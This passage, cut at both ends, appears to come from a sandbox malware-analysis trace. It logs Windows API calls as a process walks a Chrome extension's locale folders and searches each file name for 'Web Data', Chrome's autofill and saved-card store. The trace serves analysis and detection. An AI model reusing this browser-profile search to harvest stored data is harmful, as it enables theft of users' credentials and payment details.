IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.391] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.391] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.391] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.391] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.391] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.391] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.391] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.391] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.391] LocalFree (hMem=0x2e0100) returned 0x0 [0056.391] LocalFree (hMem=0x2e0210) returned 0x0 [0056.391] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.391] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.391] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.391] lstrlenA (lpString="\\") returned 1 [0056.391] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.391] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.391] lstrlenA (lpString="en_GB") returned 5 [0056.391] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.391] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB" [0056.391] LocalFree (hMem=0x2e0100) returned 0x0 [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned 134 [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned 134 [0056.391] lstrlenA (lpString="\\*.*") returned 4 [0056.391] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.391] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB" [0056.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*.*" [0056.392] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.392] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.392] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.392] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.392] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.392] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.392] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.392] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.392] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.392] LocalFree (hMem=0x2e0320) returned 0x0 [0056.392] LocalFree (hMem=0x2e0210) returned 0x0 [0056.392] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.392] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.392] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.392] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.392] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.392] lstrlenA (lpString="\\") returned 1 [0056.392] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.392] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.392] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.392] lstrlenA (lpString="en_US") returned 5 [0056.392] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.392] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US" [0056.392] LocalFree (hMem=0x2e0100) returned 0x0 [0056.392] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned 134 [0056.392] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned 134 [0056.392] lstrlenA (lpString="\\*.*") returned 4 [0056.392] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.392] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US" [0056.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*.*" [0056.392] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.392] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.392] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.392] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.392] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.392] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.392] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.393] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.393] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.393] LocalFree (hMem=0x2e0320) returned 0x0 [0056.393] LocalFree (hMem=0x2e0210) returned 0x0 [0056.393] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.393] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.393] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.393] lstrlenA (lpString="\\") returned 1 [0056.393] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.393] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.393] lstrlenA (lpString="es") returned 2 [0056.393] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.393] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es" [0056.393] LocalFree (hMem=0x2e0100) returned 0x0 [0056.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned 131 [0056.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned 131 [0056.393] lstrlenA (lpString="\\*.*") returned 4 [0056.393] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.393] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es" [0056.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*.*" [0056.393] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.393] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.393] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.393] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.393] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.393] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.393] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.393] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.393] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.393] LocalFree (hMem=0x2e0100) returned 0x0 [0056.393] LocalFree (hMem=0x2e0210) returned 0x0 [0056.393] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.394] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.394] lstrlenA (lpString="\\") returned 1 [0056.394] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.394] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.394] lstrlenA (lpString="es_419") returned 6 [0056.394] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0210 [0056.394] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419" [0056.394] LocalFree (hMem=0x2e0100) returned 0x0 [0056.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned 135 [0056.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned 135 [0056.394] lstrlenA (lpString="\\*.*") returned 4 [0056.394] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2e0320 [0056.394] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419" [0056.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*.*" [0056.394] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.394] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.394] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.394] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.394] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.395] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.395] LocalFree (hMem=0x2e0320) returned 0x0 [0056.395] LocalFree (hMem=0x2e0210) returned 0x0 [0056.395] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.395] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.395] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.395] lstrlenA (lpString="\\") returned 1 [0056.395] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.395] lstrcpyA (in: 